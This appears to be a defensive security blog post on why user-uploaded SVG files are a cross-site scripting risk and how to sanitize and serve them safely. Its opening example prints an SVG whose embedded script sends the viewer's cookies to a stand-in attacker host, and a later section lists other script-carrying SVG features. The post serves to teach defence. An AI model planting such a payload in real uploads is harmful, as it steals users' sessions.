~/blog

An SVG upload is a script upload, and optimizing it is not sanitizing it

published

#svg#security#uploads

TL;DR

An SVG is not an image file in the sense PNG and JPEG are — it is an XML document the browser parses, and it can contain <script>, onload=, <foreignObject> and external references. Serve a user-uploaded SVG from your own origin and open it in a tab, and that script runs with your cookies. The fixes that hold are: sanitize with a real SVG sanitizer, serve uploads from a separate origin, and Content-Disposition: attachment. Checking the MIME type, renaming the file, and running an optimizer are not fixes.

The problem

A user uploads logo.svg as their avatar. Inside:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <circle cx="100" cy="100" r="90" fill="#00ff9c"/>
  <script>fetch('https://attacker.example/?c='+document.cookie)</script>
</svg>

Your uploader checks that the MIME type starts with image/. It does — image/svg+xml. The file is stored, and served back from https://yourapp.example/uploads/logo.svg.

Nothing happens on the profile page: an <img src="…svg"> renders SVG in a restricted mode where script never executes. The bug lands the moment anyone opens that URL directly — the “open image in new tab” that support does five times a day, or a link in a report. Now the document is top-level on your origin, the script runs, and document.cookie is your session.

This is not theoretical. It is one of the most consistently re-reported vulnerability classes in file-upload code:

Why it happens

SVG is a full XML dialect specified by the W3C, and scripting is part of it. MDN’s SVG <script> reference is explicit: the element is exactly like HTML’s. The execution rules differ by how the SVG is loaded, which is what makes this confusing:

How the SVG is loadedScript runs?
<img src="x.svg">No — images load in a restricted, non-scripting mode
background-image: url(x.svg) in CSSNo — same restricted mode
Navigating directly to /uploads/x.svgYes — it is a document on your origin
<object> / <embed> / <iframe src="x.svg">Yes
Inlined into the DOM (innerHTML, a React dangerouslySetInnerHTML, a server-side template)Yes

So “it renders fine in our avatar component” tells you nothing about the URL being safe. And the last row is the one that catches teams who thought they were only using <img>: inlining SVG is the standard trick for recoloring an icon with CSS.

The attack surface is also wider than <script>. Event handlers (onload, onmouseover), <foreignObject> carrying real HTML, <animate> with attributeName="href", xlink:href="javascript:…" in older parsers, and external references that phone home on render. A denylist that greps for <script catches the first line of the first tutorial and nothing after it.

What to do

Three layers. The first is the one that actually matters; the other two decide how bad a miss is.

1. Sanitize with a library that understands SVG. Not a regex, not “strip <script>”. On the server, enshrined/svg-sanitize (PHP) or a DOM-based pass with DOMPurify in SVG mode:

import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const DOMPurify = createDOMPurify(new JSDOM('').window);

export function sanitizeSvg(svgText) {
  return DOMPurify.sanitize(svgText, {
    USE_PROFILES: { svg: true, svgFilters: true },
    // Belt and braces: these are the elements that carry executable or
    // externally-fetching content even when <script> is already gone.
    FORBID_TAGS: ['script', 'foreignObject', 'use', 'animate', 'set'],
    FORBID_ATTR: ['xlink:href', 'href'],
  });
}

Store the sanitized output, not the original. If you keep the original anywhere reachable over HTTP, you have kept the bug.

2. Serve user uploads from a different origin. uploads.yourapp.example, or a bucket domain — anything that does not share cookies with the app. Then a script that survives sanitization executes in a context with nothing to steal. This is the layer that turns a critical into a nuisance, and it is worth doing even when you are confident in layer 1.

3. Force download instead of render, when the file never needs to display in a browser tab:

Content-Disposition: attachment; filename="logo.svg"
Content-Type: image/svg+xml
Content-Security-Policy: default-src 'none'; sandbox
X-Content-Type-Options: nosniff

Content-Disposition: attachment means navigating to the URL downloads the file instead of parsing it as a document. Combined with a default-src 'none' CSP on the upload path, direct navigation stops being an execution vector.

Caveats

References